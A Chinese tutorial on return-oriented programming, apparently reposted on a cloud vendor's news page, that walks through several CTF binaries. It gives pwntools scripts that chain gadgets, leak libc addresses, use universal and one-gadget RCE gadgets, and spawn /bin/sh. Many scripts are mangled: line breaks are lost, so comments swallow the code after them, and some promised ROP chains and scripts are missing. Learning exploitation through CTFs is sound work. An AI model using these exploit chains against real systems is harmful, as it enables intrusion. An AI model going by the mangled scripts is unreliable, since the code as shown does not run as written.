您好,登錄后才能下訂單哦!
什么是ROP技術(shù),相信很多沒有經(jīng)驗的人對此束手無策,為此本文總結(jié)了問題出現(xiàn)的原因和解決方法,通過這篇文章希望你能解決這個問題。
顯然,如果某一頁內(nèi)存沒有可寫(W)屬性,我們就無法向里面寫入代碼,如果沒有可執(zhí)行(X)屬性,寫入到內(nèi)存頁中的shellcode就無法執(zhí)行。關(guān)于這個特性的實驗在此不做展開,大家可以嘗試在調(diào)試時修改EIP和read()/scanf()/gets()等函數(shù)的參數(shù)來觀察操作無對應(yīng)屬性內(nèi)存的結(jié)果。那么我們怎么看某個ELF文件中是否有RWX內(nèi)存頁呢?首先我們可以在靜態(tài)分析和調(diào)試中使用IDA的快捷鍵Ctrl + S
或者同上一篇教程中的方法,使用pwntools自帶的checksec命令檢查程序是否帶有RWX段。當然,由于程序可能在運行中調(diào)用mprotect(), mmap()等函數(shù)動態(tài)修改或分配具有RWX屬性的內(nèi)存頁,以上方法均可能存在誤差。
既然攻擊者們能想到在RWX段內(nèi)存頁中寫入shellcode并執(zhí)行,防御者們也能想到,因此,一種名為NX位(No eXecute bit)的技術(shù)出現(xiàn)了。這是一種在CPU上實現(xiàn)的安全技術(shù),這個位將內(nèi)存頁以數(shù)據(jù)和指令兩種方式進行了分類。被標記為數(shù)據(jù)頁的內(nèi)存頁(如棧和堆)上的數(shù)據(jù)無法被當成指令執(zhí)行,即沒有X屬性。由于該保護方式的使用,之前直接向內(nèi)存中寫入shellcode執(zhí)行的方式顯然失去了作用。因此,我們就需要學習一種著名的繞過技術(shù)——ROP(Return-Oriented Programming, 返回導(dǎo)向編程)
顧名思義,ROP就是使用返回指令ret連接代碼的一種技術(shù)(同理還可以使用jmp系列指令和call指令,有時候也會對應(yīng)地成為JOP/COP)。一個程序中必然會存在函數(shù),而有函數(shù)就會有ret指令。我們知道,ret指令的本質(zhì)是pop eip,即把當前棧頂?shù)膬?nèi)容作為內(nèi)存地址進行跳轉(zhuǎn)。而ROP就是利用棧溢出在棧上布置一系列內(nèi)存地址,每個內(nèi)存地址對應(yīng)一個gadget,即以ret/jmp/call等指令結(jié)尾的一小段匯編指令,通過一個接一個的跳轉(zhuǎn)執(zhí)行某個功能。由于這些匯編指令本來就存在于指令區(qū),肯定可以執(zhí)行,而我們在棧上寫入的只是內(nèi)存地址,屬于數(shù)據(jù),所以這種方式可以有效繞過NX保護。
0x01 使用ROP調(diào)用got表中函數(shù)
首先我們來看一個x86下的簡單ROP,我們將通過這里例子演示如何調(diào)用一個存在于got表中的函數(shù)并控制其參數(shù)。我們打開~/RedHat 2017-pwn1/pwn1??梢院苊黠@看到main函數(shù)存在棧溢出:
變量v1的首地址在bp-28h處,即變量在棧上,而輸入使用的__isoc99_scanf
不限制長度,因此我們的過長輸入將會造成棧溢出。
程序開啟了NX保護,所以顯然我們不可能用shellcode打開一個shell。根據(jù)之前文章的思路,我們很容易想到要調(diào)用system函數(shù)執(zhí)行system(“/bin/sh”)
。那么我們從哪里可以找到system
和”/bin/sh”
呢?
第一個問題,我們知道使用動態(tài)鏈接的程序?qū)霂旌瘮?shù)的話,我們可以在GOT表和PLT表中找到函數(shù)對應(yīng)的項(稍后的文章中我們將詳細解釋)。跳轉(zhuǎn)到.got.plt段,我們發(fā)現(xiàn)程序里居然導(dǎo)入了system函數(shù)。
解決了第一個問題之后我們就需要考慮第二個問題。通過對程序的搜索我們沒有發(fā)現(xiàn)字符串“/bin/sh”
,但是程序里有__isoc99_scanf
,我們可以調(diào)用這個函數(shù)來讀取”/bin/sh”
字符串到進程內(nèi)存中。下面我們來開始構(gòu)建ROP鏈。
首先我們考慮一下“/bin/sh”
字符串應(yīng)該放哪。通過調(diào)試時按Ctrl+S快捷鍵查看程序的內(nèi)存分段,我們看到0x0804a030
開始有個可讀可寫的大于8字節(jié)的地址,且該地址不受ASLR影響,我們可以考慮把字符串讀到這里。接下來我們找到__isoc99_scanf
的另一個參數(shù)“%s”
,位于0x08048629
接著我們使用pwntools的功能獲取到__isoc99_scanf
在PLT表中的地址,PLT表中有一段stub代碼,將EIP劫持到某個函數(shù)的PLT表項中我們可以直接調(diào)用該函數(shù)。我們知道,對于x86的應(yīng)用程序來說,其參數(shù)從右往左入棧。因此,現(xiàn)在我們就可以構(gòu)建出一個ROP鏈。
`from pwn import *
context.update(arch = 'i386', os = 'linux', timeout = 1)
io = remote('172.17.0.3', 10001)
elf = ELF('./pwn1')
scanf_addr = p32(elf.symbols['__isoc99_scanf'])
format_s = p32(0x08048629)
binsh_addr = p32(0x0804a030)
shellcode1 = 'A'*0x34
shellcode1 += scanf_addr
shellcode1 += format_s
shellcode1 += binsh_addr
print io.read()
io.sendline(shellcode1)
io.sendline(“/bin/sh”) 我們來測試一下。 通過調(diào)試我們可以看到,當EIP指向retn時,棧上的數(shù)據(jù)和我們的預(yù)想一樣,棧頂是plt表中
__isoc99_scanf的首地址,緊接著是兩個參數(shù)。 ![](data/attachment/album/201807/06/113538drglfgfgrrlmrtry.png) 我們繼續(xù)跟進執(zhí)行,在libc中執(zhí)行一會兒之后,我們收到了一個錯誤 ![](data/attachment/album/201807/06/113544p5333t7qe797qgbt.png) 這是為什么呢?我們回顧一下之前的內(nèi)容。我們知道call指令會將call指令的下一條指令地址壓入棧中,當被call調(diào)用的函數(shù)運行結(jié)束后,ret指令就會取出被call指令壓入棧中的地址傳輸給EIP。但是在這里我們繞過call直接調(diào)用了
__isoc99_scanf,沒有像call指令一樣向棧壓入一個地址。此時函數(shù)認為返回地址是緊接著
scanf_addr的
format_s,而第一個參數(shù)就變成了
binsh_addr`
call調(diào)用函數(shù)的情況
08048557 mov [esp+4], eax0804855B mov dword ptr [esp], offset unk_8048629 08048562 call ___isoc99_scanf 08048567 lea eax, [esp+18h]
從兩種調(diào)用方式的比較上我們可以看到,由于少了call指令的壓棧操作,如果我們在布置棧的時候不模擬出一個壓入棧中的地址,被調(diào)用函數(shù)的取到的參數(shù)就是錯位的。所以我們需要改良一下ROP鏈。根據(jù)上面的描述,我們應(yīng)該在參數(shù)和保存的EIP中間放置一個執(zhí)行完的返回地址。鑒于我們調(diào)用scanf讀取字符串后還要調(diào)用system函數(shù),我們讓__isoc99_scanf
執(zhí)行完后再次返回到main函數(shù)開頭,以便于再執(zhí)行一次棧溢出。改良后的ROP鏈如下:我們再次進行調(diào)試,發(fā)現(xiàn)這回成功調(diào)用__isoc99_scanf
把”/bin/sh”
字符串讀取到地址0x0804a030
處
此時程序再次從main函數(shù)開始執(zhí)行。由于棧的狀態(tài)發(fā)生了改變,我們需要重新計算溢出的字節(jié)數(shù)。然后再次利用ROP鏈調(diào)用system
執(zhí)行system(“/bin/sh”)
,這個ROP鏈可以模仿上一個寫出來,完整的腳本也可以在對應(yīng)文件夾中找到,此處不再贅述。
接下來讓我們來看看64位下如何使用ROP調(diào)用got表中的函數(shù)。我們打開文件~/bugs bunny ctf 2017-pwn150/pwn150
,很容易就可以發(fā)現(xiàn)溢出出現(xiàn)在Hello()里和上一個例子一樣,由于程序開啟了NX保護,我們必須找到system函數(shù)和”/bin/sh”
字符串。程序在main函數(shù)中調(diào)用了自己定義的一個叫today的函數(shù),執(zhí)行了system(“/bin/date”)
,那么system函數(shù)就有了。至于”/bin/sh”
字符串,雖然程序中沒有,但是我們找到了”sh”字符串,利用這個字符串其實也可以開shell
OK,現(xiàn)在我們有了棧溢出點,有了system函數(shù),有了字符串”sh”,可以嘗試開shell了。首先我們要解決傳參數(shù)的問題。和x86不同,在x64下通常參數(shù)從左到右依次放在rdi, rsi, rdx, rcx, r8, r9,多出來的參數(shù)才會入棧(根據(jù)調(diào)用約定的方式可能有不同,通常是這樣),因此,我們就需要一個給RDI賦值的辦法。由于我們可以控制棧,根據(jù)ROP的思想,我們需要找到的就是pop rdi; ret,前半段用于賦值rdi,后半段用于跳到其他代碼片段。
有很多工具可以幫我們找到ROP gadget,例如pwntools自帶的ROP類,ROPgadget、rp++、ropeme等。在這里我使用的是ROPgadget(https://github.com/JonathanSalwan/ROPgadget)
通過ROPgadget --binary 指定二進制文件,使用grep在輸出的所有g(shù)adgets中尋找需要的片段這里有一個小trick。首先,我們看一下IDA中這個地址的內(nèi)容是什么。我們可以發(fā)現(xiàn)并沒有0x400883
這個地址,0x400882
是pop r15
, 接下來就是0x400884
的retn
,那么這個pop rdi
會不會是因為ROPgadget
出bug了呢?別急,我們選擇0x400882
,按快捷鍵D轉(zhuǎn)換成數(shù)據(jù)。然后選擇0x400883按C轉(zhuǎn)換成代碼
我們可以看出來pop rdi實際上是pop r15的“一部分”。這也再次驗證了匯編指令不過是一串可被解析為合法opcode的數(shù)據(jù)的別名。只要對應(yīng)的數(shù)據(jù)所在內(nèi)存可執(zhí)行,能被轉(zhuǎn)成合法的opcode,跳轉(zhuǎn)過去都是不會有問題的。
現(xiàn)在我們已經(jīng)準備好了所有東西,可以開始構(gòu)建ROP鏈了。這回我們直接調(diào)用call system指令,省去了手動往棧上補返回地址的環(huán)節(jié),腳本如下:進行調(diào)試,發(fā)現(xiàn)開shell成功。retn跳轉(zhuǎn)到0x400883處的gadget:pop rdi; ret
pop rdi將”sh”字符串所在地址0x4003ef賦值給rdi
retn跳轉(zhuǎn)到call system處
0x02 使用ROP調(diào)用int 80h/syscall
在上一節(jié)中,我們接觸到了一種最簡單的使用ROP的場景。但是現(xiàn)實的情況是很多情況下目標程序并不會導(dǎo)入system函數(shù)。在這種情況下我們就需要通過其他方法達到目標。在這一節(jié)中我們首先學習的是通過ROP調(diào)用int 80h/syscall
關(guān)于int 80h/syscall
,在上一篇文章的《系統(tǒng)調(diào)用》一節(jié)中已經(jīng)做了介紹,現(xiàn)在我們來看例子~/Tamu CTF 2018-pwn5/pwn5
.這個程序的主要功能在print_beginning()
實現(xiàn)。這個函數(shù)有大量的puts()和printf()輸出提示,要求我們輸入first_name, last_name和major三個字符串到三個全局變量里,然后選擇是否加入Corps of Cadets。不管選是還是否都會進入一個差不多的函數(shù)我們可以看到只有選擇選項2才會調(diào)用函數(shù)change_major(),其他選項都只是打印出一些內(nèi)容。進入change_major()
后,我們發(fā)現(xiàn)了一個棧溢出:發(fā)現(xiàn)了溢出點后,我們就可以開始構(gòu)思怎么getshell了。就像開頭說的那樣,這個程序里找不到system函數(shù)。但是我們用ROPGadget --binary pwn5 | grep “int 0x80”找到了一個可用的gadget
回顧一下上一篇文章,我們知道在http://syscalls.kernelgrok.com/ 上可以找到sys_execve調(diào)用,同樣可以用來開shell,這個系統(tǒng)調(diào)用需要設(shè)置5個寄存器,其中eax = 11 = 0xb, ebx = &(“/bin/sh”), ecx = edx = edi = 0. “/bin/sh”
我們可以在前面輸入到地址固定的全局變量中。接下來我們就要通過ROPgadget搜索pop eax/ebx/ecx/edx/esi; ret
了。pop eax; pop ebx; pop esi; pop edi; retpop edx; pop ecx; pop ebx; ret構(gòu)建ROP鏈和腳本如下:調(diào)試時發(fā)現(xiàn)執(zhí)行失敗了,ROP鏈并沒有被讀進去
這是為什么呢?
我們輸出payload后發(fā)現(xiàn)0x080150a里面有兩個0x0a,即“\n”在輸入的時候,我們會使用回車鍵”\n”代表輸入結(jié)束,顯然這邊也是受到了這個控制字符的影響,因此我們需要重新挑選gadgets。我們把gadget換成這一條修改腳本發(fā)現(xiàn)成功getshell
有時候pwn題目也會提供一個pwn環(huán)境里對應(yīng)版本的libc。在這種情況下,我們就可以通過泄露出某個在libc中的內(nèi)容在內(nèi)存中的實際地址,通過計算偏移來獲取system和“/bin/sh”的地址并調(diào)用。這一節(jié)的例子是~/Security Fest CTF 2016-tvstation/tvstation
. 這是一個比較簡單的題目,題目中除了顯示出來的三個選項之外還有一個隱藏的選項4,選項4會直接打印出system函數(shù)在內(nèi)存中的首地址:從IDA中我們可以看到打印完地址后執(zhí)行了函數(shù)debug_func(),進入函數(shù)debug_func()之后我們發(fā)現(xiàn)了溢出點由于這個題目給了libc,且我們已經(jīng)泄露出了system的內(nèi)存地址。使用命令readelf -a 查看libc.so.6_x64
從這張圖上我們可以看出來.text節(jié)(Section)屬于第一個LOAD段(Segment),這個段的文件長度和內(nèi)存長度是一樣的,也就是說所有的代碼都是原樣映射到內(nèi)存中,代碼之間的相對偏移是不會改變的。由于前面的PHDR, INTERP兩個段也是原樣映射,所以在IDA里看到的system首地址距離文件頭的地址偏移和運行時的偏移是一樣的。如:
在這個libc中system函數(shù)首地址是0x456a0,即從文件的開頭數(shù)0x456a0個字節(jié)到達system函數(shù)
調(diào)試程序,發(fā)現(xiàn)system在內(nèi)存中的地址是0x7fb5c8c266a00x7fb5c8c266a0 -0x456a0 =0x7fb5c8be1000?
根據(jù)這個事實,我們就可以通過泄露出來的libc中的函數(shù)地址獲取libc在內(nèi)存中加載的首地址,從而以此跳轉(zhuǎn)到其他函數(shù)的首地址并執(zhí)行。
在libc中存在字符串”/bin/sh”
,該字符串位于.data節(jié),根據(jù)同樣的原理我們也可以得知這個字符串距l(xiāng)ibc首地址的偏移
還有用來傳參的gadget :pop rdi; ret
據(jù)此我們可以構(gòu)建腳本如下
#!/usr/bin/python#coding:utf-8from pwn import * io = remote('172.17.0.2', 10001) io.recvuntil(": ") io.sendline('4') #跳轉(zhuǎn)到隱藏選項io.recvuntil("@0x") system_addr = int(io.recv(12), 16) #讀取輸出的system函數(shù)在內(nèi)存中的地址libc_start = system_addr - 0x456a0 #根據(jù)偏移計算libc在內(nèi)存中的首地址pop_rdi_addr = libc_start + 0x1fd7a #pop rdi; ret 在內(nèi)存中的地址,給system函數(shù)傳參binsh_addr = libc_start + 0x18ac40 #"/bin/sh"字符串在內(nèi)存中的地址payload = ""payload += 'A'*40 #paddingpayload += p64(pop_rdi_addr) #pop rdi; retpayload += p64(binsh_addr) #system函數(shù)參數(shù)payload += p64(system_addr) #調(diào)用system()執(zhí)行system("/bin/sh")io.sendline(payload) io.interactive()
這一節(jié)主要介紹兩個特殊的gadgets。第一個gadget經(jīng)常被稱作通用gadgets,通常位于x64的ELF程序中的__libc_csu_init
中,如下圖所示:這張圖片里包含了兩個gadget,分別是
我們知道在x64的ELF程序中向函數(shù)傳參,通常順序是rdi, rsi, rdx, rcx, r8, r9
, 棧,以上三段gadgets中,第一段可以設(shè)置r12-r15
,接上第三段使用已經(jīng)設(shè)置的寄存器設(shè)置rdi, 接上第二段設(shè)置rsi, rdx, rbx,最后利用r12+rbx*8
可以call任意一個地址。在找gadgets出現(xiàn)困難時,可以利用這個gadgets快速構(gòu)造ROP鏈。需要注意的是,用萬能gadgets的時候需要設(shè)置rbp=1
,因為call qword ptr [r12+rbx*8]
之后是add rbx, 1; cmp rbx, rbp; jnz xxxxxx
。由于我們通常使rbx=0,從而使r12+rbx*8 = r12
,所以call指令結(jié)束后rbx必然會變成1。若此時rbp != 1
,jnz會再次進行call,從而可能引起段錯誤。那么這段gadgets怎么用呢?我們來看一下例子~/LCTF 2016-pwn100/pwn100
這個例子提供了libc,溢出點很明顯,位于0x40063d我們需要做的就是泄露一個got表中函數(shù)的地址,然后計算偏移調(diào)用system。前面的代碼很簡單,我們就不做介紹了
#!/usr/bin/python#coding:utf-8from pwn import * io = remote("172.17.0.3", 10001) elf = ELF("./pwn100") puts_addr = elf.plt['puts'] read_got = elf.got['read'] start_addr = 0x400550pop_rdi = 0x400763universal_gadget1 = 0x40075a #萬能gadget1:pop rbx; pop rbp; pop r12; pop r13; pop r14; pop r15; retnuniversal_gadget2 = 0x400740 #萬能gadget2:mov rdx, r13; mov rsi, r14; mov edi, r15d; call qword ptr [r12+rbx*8]binsh_addr = 0x60107c #bss放了STDIN和STDOUT的FILE結(jié)構(gòu)體,修改會導(dǎo)致程序崩潰payload = "A"*72 #paddingpayload += p64(pop_rdi) #payload += p64(read_got) payload += p64(puts_addr) payload += p64(start_addr) #跳轉(zhuǎn)到start,恢復(fù)棧payload = payload.ljust(200, "B") #paddingio.send(payload) io.recvuntil('bye~\n') read_addr = u64(io.recv()[:-1].ljust(8, '\x00'))log.info("read_addr = %#x", read_addr) system_addr = read_addr - 0xb31e0log.info("system_addr = %#x", system_addr)
為了演示萬能gadgets的使用,我們選擇再次通過調(diào)用read函數(shù)讀取/bin/sh\x00字符串,而不是直接使用偏移。首先我們根據(jù)萬能gadgets布置好棧
payload = "A"*72 #padding payload += p64(universal_gadget1) #萬能gadget1 payload += p64(0) #rbx = 0payload += p64(1) #rbp = 1,過掉后面萬能gadget2的call返回后的判斷 payload += p64(read_got) #r12 = got表中read函數(shù)項,里面是read函數(shù)的真正地址,直接通過call調(diào)用 payload += p64(8) #r13 = 8,read函數(shù)讀取的字節(jié)數(shù),萬能gadget2賦值給rdxpayload += p64(binsh_addr) #r14 = read函數(shù)讀取/bin/sh保存的地址,萬能gadget2賦值給rsipayload += p64(0) #r15 = 0,read函數(shù)的參數(shù)fd,即STDIN,萬能gadget2賦值給edipayload += p64(universal_gadget2) #萬能gadget2
我們是不是應(yīng)該直接在payload后面接上返回地址呢?不,我們回頭看一下universal_gadget2的執(zhí)行流程
由于我們的構(gòu)造,上面的那塊代碼只會執(zhí)行一次,然后流程就將跳轉(zhuǎn)到下面的loc_400756
,這一系列操作將會抬升8*7
共56字節(jié)的??臻g,因此我們還需要提供56個字節(jié)的垃圾數(shù)據(jù)進行填充,然后再拼接上retn要跳轉(zhuǎn)的地址。
payload += '\x00'*56 #萬能gadget2后接判斷語句,過掉之后是萬能gadget1,用于填充棧payload += p64(start_addr) #跳轉(zhuǎn)到start,恢復(fù)棧payload = payload.ljust(200, "B") #padding接下來就是常規(guī)操作getshell io.send(payload) io.recvuntil('bye~\n') io.send("/bin/sh\x00") #上面的一段payload調(diào)用了read函數(shù)讀取"/bin/sh\x00",這里發(fā)送字符串payload = "A"*72 #paddingpayload += p64(pop_rdi) #給system函數(shù)傳參payload += p64(binsh_addr) #rdi = &("/bin/sh\x00")payload += p64(system_addr) #調(diào)用system函數(shù)執(zhí)行system("/bin/sh")payload = payload.ljust(200, "B") #paddingio.send(payload) io.interactive()
我們介紹的第二個gadget通常被稱為one gadget RCE,顧名思義,通過一個gadget遠程執(zhí)行代碼,即getshell。我們通過例子~/TJCTF 2016-oneshot/oneshot演示一下這個gadget的威力。
要利用這個gadget,我們需要一個對應(yīng)環(huán)境的libc和一個工具one_gadget(https://github.com/david942j/one_gadget)。這個程序沒有棧溢出,其代碼非常簡單
從紅框中的代碼我們看到地址rbp+var_8被作為__isoc99_scanf
的第二個參數(shù)賦值給rsi,即輸入被保存在這里。隨后rbp+var_8中的內(nèi)容被賦值給rax,又被賦值給rdx,最后通過call rdx
執(zhí)行。也就是說我們輸入一個數(shù)字,這個數(shù)字會被當成地址使用call調(diào)用。由于只能控制4字節(jié),我們就需要用到one gadget RCE來一步getshell。我們通過one_gadget找到一些gadget:我們看到這些gadget有約束條件。我們選擇第一條,要求rax=0。我們構(gòu)建腳本進行調(diào)試:
#!/usr/bin/python#coding:utf-8from pwn import * one_gadget_rce = 0x45526#one_gadget libc.so.6_x64#0x45526 execve("/bin/sh", rsp+0x30, environ)#constraints:# rax == NULLsetbuf_addr = 0x77f50 setbuf_got = 0x600ae0io = remote("172.17.0.2", 10001) io.sendline(str(setbuf_got)) io.recvuntil("Value: ") setbuf_memory_addr = int(io.recv()[:18], 16) #通過打印got表中setbuf項的內(nèi)容泄露setbuf在內(nèi)存中的首地址io.sendline(str(setbuf_memory_addr - (setbuf_addr - one_gadget_rce))) #通過偏移計算one_gadget_rce在內(nèi)存中的地址io.interactive()
執(zhí)行到call rdx時rax = 0
getshell成功
看完上述內(nèi)容,你們掌握什么是ROP技術(shù)的方法了嗎?如果還想學到更多技能或想了解更多相關(guān)內(nèi)容,歡迎關(guān)注億速云行業(yè)資訊頻道,感謝各位的閱讀!
免責聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點不代表本網(wǎng)站立場,如果涉及侵權(quán)請聯(lián)系站長郵箱:is@yisu.com進行舉報,并提供相關(guān)證據(jù),一經(jīng)查實,將立刻刪除涉嫌侵權(quán)內(nèi)容。